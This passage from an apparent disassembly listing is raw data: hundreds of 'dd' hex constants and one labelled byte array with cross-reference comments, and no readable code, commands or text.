6FAD00A0h, 3B723D9Eh, 95076EF9h, 9DECE00Dh, 0FD6D4A90h dd 38E8E9h, 5405B95Ah, 14F0B670h, 48A00424h, 72243001h dd 0F0F70E3Ah, 0AAC88E0h, 40BAE6FBh, 0DB6103C0h, 0B00A7471h dd 0B0AB226Ch, 0C0C17204h, 94155CD0h, 0D1510F1Bh, 37A0E167h dd 0CCECB3C8h, 4F5C8F00h dd 68FFCE11h, 818B002Dh, 0C2EEEB0Fh, 0EF1DE618h, 220F067Dh dd 28162D55h, 0E96D71C4h, 0B800F76Ch, 3CA2AB65h, 0AD0FE544h dd 0A039C870h, 481A9C86h, 0FC084CC1h, 965DA300h, 0DD64D7D0h dd 41B2DB02h, 403BA053h, 774975Ch, 738386E1h, 6CD87096h dd 27038A90h, 0D0EB1A69h, 0D215807Bh, 740E1E5Eh, 82091D44h dd 57377D72h, 812C2CC9h, 7F75110h, 84703CE7h, 0CD773CCCh dd 35B5568Eh, 0BD4D87C0h, 5D010C75h, 381381B6h, 6C607050h dd 0ED0D0B5Bh, 0C0029DD7h, 40692A57h, 0FDAC10B1h, 9CB80072h dd 1203D98Eh, 13EACFDAh, 4DBEE400h, 0A37F74FFh, 2405F8EDh dd 1B338FDh, 9E44276Ch, 0C432F0E6h, 0B63D8205h, 88C0FA53h dd 0FCD54F41h, 558F00E9h, 914B436Ah, 971C6DB7h, 18E4C638h dd 8EEB8503h, 106CF179h, 7D570430h, 3DC41309h, 6B4C0FD8h dd 0B0E01Fh, 0DF1C0A04h, 40D05C67h, 100F7276h, 45927D8h dd 4350FCE0h, 6B9A95C0h, 0E4905C25h, 24D98800h, 0CA415347h dd 2DAFA5Ch, 5539195Dh, 1150C07Ch, 0B0E34C63h, 60B3801h dd 0E0025B2Eh, 25124F52h, 0C4C0871Dh, 3FE8949Ch, 0B79718A7h dd 0AD2D0098h, 6F32E709h, 9C032398h, 2ED2E75h, 71F0B049h dd 51090019h, 0C649306h, 304C9122h, 0B2BB1F2Ch, 0FCAA5200h dd 17EED4A3h, 1F4884Ah, 50B9E1B9h, 5D93C447h, 6E875F00h dd 0F4EC27E3h, 0A990064h, 0E2D6C437h, 511329DCh, 1FBDB0Eh dd 0E061B019h, 0D7F8833Ch, 0DBC6ACB4h, 1870C79Bh, 0D233A8h dd 3DDDA667h, 57E3B810h, 0C19F1300h, 0C8BB80BAh, 0BD96029Ch dd 0BEB199F6h, 10F08050h, 3F473A09h, 0C40033Dh, 51F79009h dd 18BF4C4Eh, 94C6D580h, 544C6C7Fh, 0B477C0D8h, 0E8852372h dd 19D90196h, 0DB62EEAAh, 484420BEh, 0B0E6FD25h, 7639A8h dd 0CFF861E8h, 0B893E9D6h, 8E554600h, 9083CAE0h, 412D01C2h dd 0F1AD248Ah, 1448C212h, 50941EB6h, 0CC3F761Ch, 612D007Ch dd 0B9BF98B4h, 80A50375h, 2F9DEF7h, 0A407F4A0h, 0BE9CEB00h dd 551C14F3h, 9EA6000Dh, 295329Bh, 88488DF2h, 99004F62h dd 0C8C00F4Fh, 0A67B001Eh, 2B41996h, 3A0004D4h, 0A360EAABh dd 7FBC7552h, 53A600EBh, 359E1B90h, 0F5002206h, 4C42A1E8h dd 94761BBh, 0A57FF77Bh, 0C63B1D00h, 0B1399689h, 0DD989F14h dd 931DFE00h, 0EC23B7CBh, 290E1F1Ah, 0A9C1401Ch, 0D6B52B3Bh dd 0CAA1780Bh, 1009FD57h, 86A5EC00h, 85001B09h, 0B77016ECh dd 191593h, 0CF9B7A3Bh, 3858BA6Bh, 16746007h, 602E1191h dd 9481BC8Fh, 9AAC2407h, 50CF0094h, 4767C819h, 9E1A3C00h dd 9F1B3E9Dh, 41830084h, 0ABB2ED32h, 8E00E131h, 8D162953h dd 0F72B7Ch, 0DB3CA512h, 0C45851EEh, 5BAEF50Ch, 38CE10C3h dd 7B00AB66h, 99E0D8C0h, 6000BD62h, 650BF1BAh, 1DE6DF50h dd 7D90D520h, 0D8007CCCh, 4EDBA562h, 0DC00A80Dh, 3D06DD37h dd 9C9A51h, 14E2AB9Eh, 6FCD9193h, 20750400h, 0AE4C31D0h dd 0C6890024h, 6E0BA2B4h, 400073DFh, 0F3112F2Eh, 35A91DAh dd 4C8C30BFh, 2890579Dh, 200E342h, 69591D29h, 71F33D0h dd 0EFE918F9h, 10B207F6h, 6B4AF7Dh, 31076D07h, 950936Ch dd 121162h, 0EC68C78Dh, 806A10B1h, 0D077BEAh, 4ECE759Dh dd 0FB85810Eh, 0FEC840C2h, 6A890028h, 0F4BA9068h, 8A0060ECh dd 3E0EA1F6h, 10BA618h, 4C8E82A8h, 808F429Ah, 688ACD1Ch dd 3CF3AC04h, 431FA2C2h, 0F1501887h, 0A00033DBh, 0EDF6D359h dd 1BBC22E9h, 489F9209h, 0F7DE488h, 47F1A20h, 0D163ACC7h dd 0D768C02Fh, 8303D98Dh, 703A82FAh, 0DAE344h, 135C360h dd 5FEAA5DFh, 72B82567h, 0ED573A30h, 6C5500F6h, 0C6664A8Dh dd 0BA00B865h, 7F443F8Ch, 486108h, 0E067A143h, 0CA6B3663h dd 35161C07h, 17B0ECB7h, 887F85h, 0E9260EBFh, 957AB94Eh dd 14664800h, 2A8BE5A1h, 1BB05Eh, 0E827E0BBh, 7770BEC0h dd 0A41AEE00h, 56360FBCh, 7CE70E12h, 790089FDh, 0AC50C474h dd 4D802D00h, 0FBB6A75Eh, 3A0B4CA8h, 94C85F00h, 0E6237805h dd 0C6651F01h, 840297FFh, 1CBCAD70h, 3EF95712h, 0EB9FE10Fh dd 0FCD010D6h, 3D21A300h, 8A711FCBh, 1C7E4A00h, 0C9176A82h dd 0EB650034h, 526F0FF6h, 0C700FB51h, 2C78D045h, 3915BE0Ch dd 240053DAh, 20502386h, 59775735h, 62183003h, 0A8552A8Ch dd 674EFFh, 46AE6AB2h, 49368A6Fh, 3788F007h, 2ED06542h dd 8E1741h, 961F5D2Ah, 40932482h, 0EC460F05h, 9A1D3B4Eh dd 0EA56DC80h, 0F59DF43h, 98A6FCEFh, 4DCE2920h, 0AB008A19h dd 41D34E55h, 0C75AD4h, 0DE53E939h, 0BFD0EE07h, 0D20A6D00h dd 531EA38h, 0C65F00F2h, 0D971DF04h, 0EF0E6E21h, 0AB93A5A3h dd 0F06FC98h, 0CD6092ABh, 4AB27251h, 17473D00h, 3DADD68h dd 4B6B0E66h, 142F0939h, 0C41A001Ch, 0F97CA0FCh, 555EE00h dd 0F152F838h, 13F4003Bh, 401AC54Ch, 250CFF21h, 10C4C063h dd 1887040Dh, 0AF081E9Ah, 1986F981h, 8020E0h, 56D1D7A6h dd 6AE2ACFEh, 8DE1FB00h, 5B7D0813h, 2F8AA092h, 0E5F466h dd 0AB42EFD6h, 0A0249857h, 1FED83Ch, 50E04033h, 0C7D81576h dd 0CA603480h, 20B48778h, 4F9B3B17h, 0BFC6B02Ch, 98E3AE00h dd 0ED8470h, 12381A1Fh, 0A30A48B6h, 0B776F003h, 0A096EE8Bh dd 3FE311E5h, 0D880E845h, 75CD0B30h, 1BE8F4D4h, 42537F34h dd 78E2F880h, 2E133BC9h, 0B00E929Eh, 37736309h, 96C68A01h dd 38788111h, 0ADA7A840h, 9F99001Ch, 9C940BACh, 903E04A5h dd 0A66E8097h, 0A014B589h, 723E68Bh, 2BC174C2h, 25BBE0DCh dd 0B8126DCFh, 400D632h, 0ED1444E3h, 117A2D79h, 51EA9D58h dd 9DB6A13Ch, 73DA052h, 24D0CC46h, 954DF600h, 22EE0F2Bh dd 0C5AF5CC3h, 80193CE7h, 0B5BCA632h, 94B2791Dh, 7C2BB840h dd 6023DD9Ch, 0F7D9EE1Bh, 0CA00F1ECh, 0C3F3540Dh, 73F63026h dd 0A65707C9h, 95FDA907h, 25CC0B6Eh, 0AC971580h, 2009F9Eh dd 6C8BDE5Dh, 5E18C7h, 0C372D432h, 0AF16E26Dh, 7AEA1703h dd 0C85BD288h, 32436B0Fh, 0AB194EB6h, 1B7F6560h, 0F0B7CCA0h dd 5CC75024h, 25F69600h, 109E5Ch, 1E128013h, 2701FB0Eh dd 0AE0DF80Ch, 0D328C0h, 22A097A9h, 7BEA6236h, 17D2F900h dd 78672AC7h, 0E715001Ah, 988CA111h, 0AE00B9B1h, 0D9D38D77h dd 399048AFh, 9836EA4h, 9C4F401Fh, 894E76C0h, 8B0024FEh dd 13EE3EDCh, 0BD84B1h, 0BB70326Eh, 4CF177F0h, 976BC00h dd 9C297E20h, 172600D3h, 0EC1AFC0Eh, 7700D621h, 5847BABBh dd 0E93D07h, 0BCC9972Ah, 80B8C4AEh, 630DDA03h, 0A873921Ah dd 57655Fh, 0C88DBA78h, 0CBA8AB68h, 95A6750Fh, 981B87B7h dd 31E385E0h, 72942C33h, 802871h, 48CE944h, 0AA24169Ch dd 0C4FD7500h, 0DA3C5BBDh, 0E2B60284h, 8B8C8E07h, 0B2D129C0h dd 832AA23Fh, 1BBC892Fh, 0A3298035h, 27C26h, 0C15A0694h dd 0AAC37BCCh, 0A7C5FA1Dh, 0A2A4E141h, 0B5202E29h, 0AD930722h dd 0AA47A190h, 0EE5600AEh, 346C1B0Eh, 0E4B76800h, 0BD4FC07Eh dd 0E7ACB89Bh, 39AE40D8h, 1B059610h, 800DAD74h, 0E45CD414h dd 81B3EE00h, 9147F2F9h, 0D9920097h, 3D8F5B6Fh, 3CE29E46h dd 88032FF6h, 5D480AE1h, 0C3D4A8FDh, 0C85B0045h, 51E656C2h dd 0E7746C8Ch, 0BBA3B501h, 0F136D78h, 0F75420h, 0A4144A10h dd 4FB055DFh, 0B600E474h, 0CFF51AACh, 1CFD2305h, 8037F0F2h dd 4C3FF8D4h, 0F90E962Ch dd 0E0671685h, 0C7DF59F6h, 7D7F0Eh, 0DA25B581h, 46CB8B77h dd 745CC21Fh, 0B047EF00h, 98C4492h, 24D508FEh, 45561482h dd 6B09C04Eh, 80C01DBCh, 5A3A4270h, 2D6A0078h, 39FE55C4h dd 9CCF45FBh, 0CB60E0E7h, 2766B9E6h, 7D565ADFh, 0D6A3480Eh dd 47993800h, 9338FEh, 8A400734h, 0BE288EA1h, 710622F4h dd 4E52C788h, 60D10088h, 9A5A8A1Dh, 50C536A5h, 1003CD88h dd 781D62D7h, 649E03B0h, 5C807271h, 11A067A3h, 10A0F6D0h dd 5301198Ah, 296D45B7h, 25D065C1h, 82F400D6h, 31B1E2C9h dd 0C0046E3h, 0B83D537Ch, 48C14771h, 0C331DDDFh, 40F9D630h dd 1A77A128h, 527088C0h, 1F18809Ah, 40017AD8h, 3B7D31D9h dd 882A53DFh, 0F34068CAh, 83028082h, 8600A7E8h, 3B203992h dd 64FEEh, 80E6300Ch, 5BAEB3B9h, 5C50D07h, 34602CE3h, 55CC0Ah dd 41284259h, 614F7971h, 3D44DB00h, 9F803C4Bh, 229100A6h dd 25D283F1h, 81C356F3h, 0C750FBFh, 2B0DD6C0h, 4A032050h dd 9006532Ah, 0B75E8B3h, 0A5841DBFh, 0F8E1C6FEh, 0BB0290Fh dd 607529C4h, 7A429848h, 2162240Eh, 3C125D66h, 8913DD10h dd 93C410Eh, 0B250115Fh, 1318FB11h, 74293D1Ah, 551BF980h dd 0B0F6D981h, 544EA600h, 0DCA742ABh, 8B5F0002h, 0F02472A8h dd 0B03FA3Dh, 0ACD08AC4h, 4647D83Eh, 2D7F21h, 0B62C485Ah dd 897D56D4h, 5183CD03h, 0C8D0274Bh, 0BC339Fh, 0D591CD8h dd 3D35835h, 0DED70C00h, 0FF91D08h, 66940F7Ah, 9FE0D218h dd 6A449C0Dh, 0FEAD1F03h, 7BCA8CCh, 0BAFCB339h, 0F8CDA001h dd 0F50385BEh, 426CFE6Fh, 89A0E0FFh, 2C3C16B9h, 391CEA14h dd 0D878748Ah, 1D45F387h, 0AB485E60h, 0CC2900B0h, 584C2538h dd 0FD07CDD4h, 347551ECh, 0A4695B60h, 89630112h, 0C72292F2h dd 18A3DCBFh, 0ECE43024h, 385FB180h, 0D8B3CAh, 35F7EE26h dd 2BE6FB02h, 0EE8E252Eh, 7D00C717h, 0CA3F4280h, 9DB50CE4h dd 0A2D0BF7Ah, 44A8AF03h, 0D816DDABh, 3FDA684h, 9A8DFE29h dd 40C810DBh, 600EDDAh, 9260D753h, 89B7E2h, 756AAA49h dd 6DF98C91h, 52078078h, 0D35D03CBh, 0CCA73DF0h, 7CE460ECh dd 6BAE9EDAh, 73B9A126h, 4D608B00h, 263A43F4h, 0F408ED3h dd 83E0222Fh, 0F888BEC1h, 0AC4BA200h, 0BAAB512Ch, 0C8F0C003h dd 28AECE90h, 434A7300h, 622C2F1Ch, 84B30382h, 5F1759F9h dd 0C9ADC5D8h, 0A5E39850h, 80BC3F3Ch, 8F96501Bh, 0FAE872h dd 8EA2018h, 0CE732BBDh, 6DBC3Ah, 0FF7EB974h, 0F8601457h dd 0F4BF6330h, 95F8BC59h, 0D30127F8h, 2E01A52Bh, 5CD8AECAh dd 0A6E10015h, 9F888FF7h, 8A0580FDh, 9224C53Ah, 0D0F18A01h dd 72F8A6C8h, 0ADC71287h, 0B92847BFh, 27C160F7h, 0CD5C375Ch dd 0E157241Ah, 0F236E00h, 7DD3F7C2h, 67E60030h, 433DB99Ch dd 6C1266C8h, 380E2CECh, 0CE1EE17Fh, 5A00C7C2h, 25814D94h dd 21D5DCh, 70AFAC03h, 0E59B0CE2h, 9EE99407h, 892787B4h dd 0AB66CA60h, 7316036Eh, 0A9B5C4D7h, 0CF43DE98h, 1B19E376h dd 20B03801h, 57B820h, 156FB26Bh, 215E5CD6h, 430081ECh dd 7FDBD02Eh, 4A140Fh, 0AA36665Dh, 0BF907208h, 970D572Ch dd 0E8CA3300h, 0BBAFB3h, 81B7A83Ah, 2F5A71B4h, 0FF19AD09h dd 28AC837Dh, 6918A18Bh, 0B8BC40DAh, 821B0FD3h, 3D0046AAh dd 0E44D5D11h, 0B213967Fh, 8C07EF9Bh, 0F65091A8h, 7CF009h dd 0A2EBE4DAh, 3A305237h, 242EB072h, 6600AD5Fh, 0F73D1104h dd 0D5E4ED19h, 4E5D00B2h, 0DBC0C44Ch, 0BF009E28h, 99B33DE9h dd 613C89h, 0C9395F25h, 7EFE18ABh, 271CF200h, 6B05488Fh dd 36D20120h, 0C3EE521Fh, 40364Ah, 0D15E2BC5h, 0A704E6h dd 20A58749h, 0E21365F1h, 0E854C800h, 4C5641A9h, 4B14C57h dd 53264E00h, 582B04A5h, 0C239CCE6h, 37B680A1h, 68A6AB94h dd 932A0001h, 57BDE3AEh, 0E7EE5C90h, 0E423E909h, 7A10004Dh dd 0F216A803h, 992F00F4h, 2C3D54F1h, 7E000902h, 39C5BA0Ah dd 2655661Dh, 80B43FF3h, 0D035CE88h, 0F2F82634h, 0AC4F9000h dd 79681D5Eh, 5C030065h, 2E69E30Bh, 0AE0EB821h, 479524A9h dd 8B175864h, 7227BE70h, 0A14B3D31h, 9261A300h, 449AE294h dd 0E77E5100h, 531A0E79h, 9FBD1E75h, 0C16405Bh, 240B954Ch dd 407A1A90h, 97B52F00h, 0F65FA6AFh, 6AF20Ah, 331B2B76h dd 4D3E5D85h, 0C0A77103h, 0B05593C3h, 2FB2BCh, 0B5FF7CC9h dd 0A4DBC6C7h, 85DCCB1Fh, 83AF803Dh, 7289A573h, 319C3B18h dd 0D3C3FBDh, 0C07D6D8h, 40D80A5Bh, 0D3B9FE88h, 0C5C4FC1Ch dd 7C5CD040h, 3CFA0Bh, 3A4FE4DCh, 7BF6CD2h, 5EA6C8E7h dd 7F4ECA00h, 0B3D8C7ADh, 8BBD1C53h, 0FEAB4026h, 2B9246EFh dd 33BC3B00h, 0A54A51EEh, 870A029Dh, 47A8CF2Eh, 8009C3DFh dd 77C408h, 0B54EC933h, 0F805B05Dh, 32F53Dh, 7D375260h dd 0CDC2F9h, 0CCD431F7h, 3A6D2FD2h, 0CE10FB60h, 0A14C44h dd 1228020Eh, 2675AE5Ah, 0F6825202h, 40F42AF7h, 38FBCE9Ah dd 8480BE38h, 3EBFE8EDh, 3004483h, 8B3AB685h, 10E4548h dd 0EDE42C66h, 0E871FF05h, 9F7A5EA2h, 17554B00h, 0B8BAF4A1h dd 378C1DCAh, 1B28C038h, 74D25351h, 7D29CB01h, 0B5A676E6h dd 1A8320h, 31E0936Ch, 8136D3E8h, 86981500h, 88A29B64h dd 7DA771Bh, 3F451E9Ch, 21BEC12Bh, 0F2CEF81Dh, 0E9E7101h dd 9FBA5204h, 0D30DE4h, 60F3405Eh, 0AE669ABEh, 0AFEB4600h dd 0D1E93F6Bh, 26830715h, 0C04F4D51h, 0A9636152h, 77166D00h dd 0B85EBAACh, 0A3C60094h, 80335145h, 5300F09Eh, 0FED5A44Eh dd 476B2Ah, 0B2C6E87Eh, 31D31E05h, 96A0C4A0h, 41BDCF00h dd 0EC976CF8h, 0F99A03DDh, 0F232398Ah, 8B5E1491h, 80855B48h dd 0AC11DFE2h, 8AC300CDh, 343C7623h, 0D00137Bh, 2BF1819Dh dd 8B643h, 0EC6F5929h, 3FCCDBFBh, 8A5D7700h, 0ADC87A07h dd 5ECD07D0h, 0B3418D68h, 0A4D8A5FDh, 0FC07F617h, 0BFF1D20Ah dd 33740110h, 0FA6F58B9h, 7B03AB00h, 2F27DD8Bh, 0D73A171Eh dd 39B54480h, 9FE3B9h, 71E10B97h, 4DC840FBh, 4A417C00h dd 6F3ECB2Ch, 7220C090h, 0A0748DC0h, 0E3B9F72h, 40FE8CC5h dd 6711BDh, 0F3F94E2h, 0C799028h, 853ED900h, 0B263F683h dd 8EC313E7h, 0F3BB0054h, 4CB653C8h, 0F41F10F0h, 0A7C01BCEh dd 6C281E57h, 6767DFAh, 0A8078BEFh, 0DB00E642h, 58D6930Eh dd 8B505h, 69C5595Ah, 110CA823h, 0F348CEh, 2B57B9A3h, 0D4FAB6h dd 0E00FC8AEh, 0B2E11308h, 15014779h, 7BF74ED2h, 7F5D56h dd 0B0670532h, 7D5C336Fh, 2ECF14BFh, 8A5C12F4h, 68EC6440h dd 3C199A4h, 2D860596h, 8095DE2Eh, 3FA13ABFh, 7EBEE124h dd 0F9980D00h, 1046C7h, 0E7D02062h, 0ED99010Fh, 428F9D14h dd 4D2508F4h, 0C83C0073h, 0B1C3ECCh, 998D550h, 51EA7000h dd 0B04BF354h, 592728F1h, 8370EDCh, 85606F65h, 0B1461B9Ch dd 6A09BD0Fh, 0BBEDC033h, 0D21441h, 67759082h, 0A33E8A5Ah dd 36CEEC00h, 0E4C026DEh, 59D50739h, 22C8B51Ah, 65E07D99h dd 0E7487CE0h, 9CEE2856h, 2B4C1E07h, 0D740767Eh, 7445504h dd 20E8C7CFh, 723D217Fh, 68E8201Fh, 32DE9200h, 36A3E3EDh dd 158D009Eh, 6FCB427Dh, 0A2005378h, 2C0A199Dh, 97F4DBC7h dd 2BCA4900h, 140E6FE2h, 47D56167h, 5250AAEEh, 50C78Bh dd 2C37916Eh, 0C684C5DDh, 73AB900h, 0C1142B85h, 39DE0079h dd 0D272E813h, 3100E1BCh, 0FB0C2D4Ch, 1E09952h, 1F360F9h dd 200A4B3Bh, 7C029E90h, 0FB13A304h, 1A096067h, 7090B9h dd 3633A919h, 7808A6B5h, 0A45C0426h, 0C5F16100h, 1D183E60h dd 403293FDh, 2B22D7EBh, 831F0884h, 14C2D8CFh, 688F48B6h dd 47A6D0Ch, 0B8BE4C5Bh, 41E08057h, 0C0742A24h, 2F7B7203h dd 88D0C3B2h, 903C648Fh, 91891271h, 0BE13006Bh, 0A773BDD9h dd 71DA2E02h, 4048FDBFh, 5D14548h, 0F209EEA9h, 901D8474h dd 574E41FCh, 23042100h, 0AD22F627h, 9E3A0014h, 0AB509C80h dd 0A60070DFh, 98E44CC3h, 0C0C4608h, 0E56D3349h, 2B008710h dd 0CD64A2E6h, 3F056B8h, 0DF4D1A72h, 0A04885EBh, 714400CCh dd 0E9C38842h, 6F301F7h, 9161C958h, 8BA089A8h, 0C4EC8787h dd 0BB673210h, 5BAD00FDh, 5758F52Fh, 7E005453h, 624044AAh dd 0FB2F297h, 0C837065h, 7B9C7BFDh, 19CB4C16h, 87005DD8h dd 4756C6D6h, 0B221F926h, 0ED621664h, 0EA3600ADh, 8DFAFE7Fh dd 3B189C60h, 3FD9CFh, 923D4BF1h, 4A37D847h, 96E0B573h dd 90674800h, 7B35D906h, 31F40015h, 0F9149310h, 70302C5Dh dd 2D7EC874h, 0DE3700DCh, 0C2D23F4Eh, 0E4FF18FAh, 9800910Eh dd 876CB210h, 1ED5788Bh, 49570A39h, 378062A7h, 7F1A5B4Eh dd 45B1F90Bh, 69B10F2Eh, 1AC0772h, 0D06D6C40h, 512200C7h dd 76ABA97Dh, 1E7C1CEFh, 58C8D100h, 31D2D56Ah, 445D487Ah dd 28C97900h, 78C44243h, 965Dh, 0EB153F18h, 0F356C09h dd 327B5339h, 0DD949E83h, 31893801h, 0F2DCFE9Fh, 0FBCD6D0h dd 0B87D6050h, 464FDF20h, 54E60E5Ah, 0A0DEA630h, 0E07DD29Fh dd 4D9A00E5h, 1A8E6BE9h, 3C003E3Bh, 0D652BE0Fh, 0E44B80Dh dd 0B5F43DD9h, 3EA9D820h, 9E0053E3h, 0F0E329Ch, 7357FAEh dd 5D46F69Bh, 95DCF0CDh, 1C0A3BA6h, 0B463A5EFh, 7E9B207h dd 830A9260h, 0B605000Eh, 0CA6CAF64h, 430F54BDh, 20F1986Eh dd 2E750234h, 12DE0033h, 0BA555CA5h, 2B00D680h, 5A61E425h dd 8A84F227h, 7E5E5B82h, 0A88098E5h, 0C6F176AFh, 80AC00D6h dd 1A87CE1Eh, 0E4B83DE3h, 3F79A700h, 53542265h, 4FF30F12h dd 6F80C861h, 0D5ADF697h, 349FDC00h, 0BEC749AAh, 358B00B3h dd 661028DEh, 0E000573Bh, 0E96DA21Ah, 66FD209h, 0A6CC4034h dd 8D0210EDh, 0C1B229ABh, 4BA040C2h, 0C6418862h, 715538F2h dd 0ECE531FCh, 0EF00A682h, 286EBEEAh, 49D0CAh, 0A350EC3Dh dd 100E71EBh, 0DC524A0Ch, 0BDFE81Fh, 0BEBC5BEFh, 21BA2800h dd 0D30944E0h, 8017CA3Eh, 763F3748h, 16B2267Ch, 7D5D0000h dd 0A1AD9FC4h, 241AD800h, 488B516Eh, 4CB013Ch, 0E6C2D701h dd 0F2F02461h, 298D1C03h, 88C5D4D3h, 17EFBFh, 0E8CCAE8h dd 1AFB7EFFh, 0A14E8200h, 65191EFDh, 81850472h, 82341B33h dd 0DCA032E4h, 0F9D8CE88h, 0BB0770FAh, 5847EA53h, 0FD3CD5F0h dd 0AF280EB8h, 8860E648h, 0F51EFBE7h, 17006C98h, 0E13C5935h dd 7D81ABB0h, 0D36F00FFh, 0C76A5ACEh, 0A4B9ED3Dh, 0A757D900h dd 2E280Eh, 0E6FD0CF1h, 88701F89h, 36772600h, 2D93254Ah dd 0DC75000Bh, 34BC8E33h, 46F4F305h, 0C2F51907h, 0A400E655h dd 36663h, 2C3A65D4h, 0D0919D95h, 8C008DE6h, 7555E136h dd 5394DD7h, 0B71C07B3h, 84F00032h, 25E12322h, 3C400400h dd 1DEE79C0h, 2644006Eh, 0B2B01696h, 0F700B871h, 0B39EFD9h dd 0A04F05h, 4A279E5Fh, 0F49F0858h, 0A5F1BA02h, 0E04D47C2h dd 1453D28h, 0FB78C10Bh, 0D4437D18h, 7EEF1B1h, 85F3CE0Eh dd 53E602Eh, 4CCAD11h, 7798244Bh, 711883A8h, 0CF9A16E8h dd 8DB4E701h, 95F412Fh, 3C7AA048h, 6D0074E6h, 0BBFCEA08h db 8Eh byte_520045 db 59h, 1Ch, 0FEh ; DATA XREF: ___:00437A28o ; ___:00437A40o dd 4981AE5Ah, 6CD8C370h, 7F31C460h, 58457382h, 87031C0Eh dd 7C8BAF71h, 3D7D110Bh, 110C8D58h, 6641FCh, 3FDC8E4Dh dd 1361CA5Dh, 5C67F91Eh, 0B7018Bh, 525F17D0h, 74864876h dd 39E64C50h, 0EF5DE19h, 24BCF47h, 0A0906549h, 0D80EFC7Ah dd 90F3BDDh, 6380042h, 38F431Dh, 49365D6Ah, 0C821BA67h dd 0E9A4002Ch, 0C8F47C7Ah, 6E25EB01h, 0C931A3A9h, 1A04F30h dd 59AF030Eh, 21DA79B0h, 0E0742050h, 0DF602D60h, 9887F13Ah dd 5DAD01DBh, 6F5A41ECh, 9C7FE0A2h, 0A5D3AA00h, 1E934426h dd 0C2DA13EAh, 542080D0h, 361F7877h, 0C5875F19h, 0ED0B8F3h dd 0BADACh, 0FDDE8E23h, 1583F26Fh, 8049463Dh, 0A81C2A7Ch dd 3A533D6Bh, 1F73D402h, 82B75E54h, 0CC4E36FAh, 0E348AF60h dd 0F6E638h, 42C4D58Bh, 586A7AE0h, 0A23ABCDCh, 2C6D7080h dd 153DC18Fh, 2660B0A0h, 645459h, 6247BBF7h, 2E59092h dd 7D0837BCh, 716058B3h, 3100110Ah, 0A6EFA31Ch, 89018Bh dd 33D82380h, 5C554CE2h, 674D2A00h, 0D214EB20h, 0C0650028h dd 89CDFB94h, 1D00696Fh, 63C1BE34h, 7C2A2FAh, 0DA0595A7h dd 191150BCh, 8E580874h, 1F870FA4h, 3BBB83C9h, 0C7DCE0B2h dd 0A8D25227h, 1FFE0D28h, 0C092F877h, 6F037D79h, 0D9733830h dd 545BF701h, 0C0FE8789h, 186957F0h, 98537AABh, 300417Ch dd 447DF652h, 90AF1EE7h, 7A3F009Fh, 6724CD84h, 4E000DE9h dd 6BFF9741h, 4AB634h, 0F7AB59DBh, 0F95FF315h, 0A4295E05h dd 23C382F4h, 570690C8h, 0DE40002Eh, 0DDE31C78h, 1800FDAEh dd 48CCB5FBh, 2B073F9h, 969ECFF2h, 8C83492h, 0F301D793h dd 0A6EE77C1h, 7AF8DBF6h, 95C6009Dh, 47A10EE7h, 120030DEh dd 0FD27D15Ch, 5C4AC441h, 7D03E0F8h, 620C69E9h, 3060FD8h dd 71287779h, 0B5033091h, 49FB5648h, 0D98CB384h, 0C060559Fh dd 3CB973D3h, 849A3B2h, 3364D10Ch, 0C0CB139h, 8BBF4B6h dd 2855E8FFh, 28104ED1h, 31C7DB3h, 0CC94A7D3h, 0E7A0BFB9h dd 21F62F0Bh, 1D55A600h, 327AFE9Eh, 0D7BE027Bh, 8F15E194h dd 42E35200h, 0BB50C029h, 330BB614h, 59C156E8h, 10C2E3E8h dd 398821B0h, 4B026871h, 0D1DA945Eh, 0BD48864Fh, 0BBF80A20h dd 3D305540h, 0D374070Fh, 3459A018h, 4C7B783Eh, 322D0218h dd 0C060CAE0h, 3E1B9B05h, 1C80170Ah, 6FEF8C54h, 65001171h dd 7464DBD5h, 1BF844Eh, 0C74FC836h, 0DCCD6F0Bh, 0EC000247h dd 0A8B472DDh, 175481D0h, 0FA91438h, 1B2027D3h, 6D45793Ah dd 119811F4h, 7C9D3E00h, 0CC5CD7FCh, 0F8974D8h, 0AB4E1F3h dd 5A80ED4Fh, 10DDE676h, 0CB196C00h, 8546E218h, 0F4820030h dd 75684ADAh, 2E007251h, 0A3DFA9F7h, 1C308C65h, 3547A18h dd 0E8832C2Ah, 7840FF90h, 0DCF58A07h, 0A3C0A674h, 134B607h dd 0CA2E865Fh, 7450FC52h, 0E7E048D8h, 0E96C4C0Bh, 0E1CB83EDh dd 24083095h, 4C7F2321h, 3F49E215h, 7AC500D4h, 0A9F0890Dh dd 86CE00DEh, 0BCE936E3h, 77002972h, 0B99E0454h, 0C2E8037h dd 38B6D4B7h, 0DC504B18h, 4872E5D4h, 1DC5A52h, 0ECA367ABh dd 820DB02h, 873660Ah, 0CE0721BFh, 0E10DA35Fh, 8A24A520h dd 0A7A918AFh, 858E6181h, 0CCA14C83h, 9DE9307Eh, 62246F20h dd 28A23C40h, 0B00CE1AFh, 18206C7Bh, 3F8CE790h, 291A369h dd 818188CBh, 0E8A361C0h, 0A880C6EDh, 3DC99E88h, 11EBF0C0h dd 71054364h, 67FF1F6Dh, 963E8095h, 0C3754FDEh, 0A259B500h dd 0FC98124Bh, 90587865h, 0F54E38F5h, 8B32C680h, 0CE1E9405h dd 3A70E57Eh, 0AEF70100h, 0A47506A9h, 25150EDFh, 0A2004FD2h dd 0E83E2012h, 6ADD1700h, 9410902Ch, 596F0071h, 46A1508Fh dd 0F800659Bh, 4B786BA2h, 26ACBC8h, 0B1C70119h, 3961472Ch dd 0BF0720B8h, 0C3735824h, 3D002F17h, 0B2D69BC8h, 1A9F009Ah dd 1793DE6Fh, 2A00BA3Dh, 0D0521918h, 3EC860h, 256DC4E1h dd 7557D2EAh, 1D91DF18h, 0DCC048h, 3B137780h, 4C32B143h dd 0F86CA51Dh, 15C630C4h, 989C7018h, 1AC7391Eh, 6105FE1Fh dd 2980AF3Dh, 79BD3EDh, 0CC0D68DAh, 627A7070h, 7603A556h dd 0DF091314h, 20712C92h, 9DCC0E45h, 0DAF52CC0h, 4400DBA9h dd 2D5906DFh, 0D33FF9h, 9C5FD6E8h, 0FF025BAh, 9D8ECE00h dd 0F329EABBh, 1C47003Ch, 910E6F88h, 9500CD17h, 0FFA39DFBh dd 7128BCCCh, 40940C42h, 2FB08DE7h, 29892400h, 261E55ABh dd 0CE4F0034h, 0E1CAC923h, 100068DEh, 144D4344h, 0AA3D64h dd 0B6411A77h, 0D9D35342h, 0B58E3603h, 0CD729BD0h, 41198801h dd 0D98A94ACh, 80940273h, 2DC51015h, 5400B940h, 90E90E0Ah dd 51E673h, 0C61219F6h, 808DCC44h, 0C0EB6050h, 28135AF0h dd 3500EE8Ch, 15218AE5h, 329D00BCh, 0A1C1D681h, 0AD0E2E5Ah dd 60694A3Eh, 0E265291Ch, 326F00BEh, 97137AC0h, 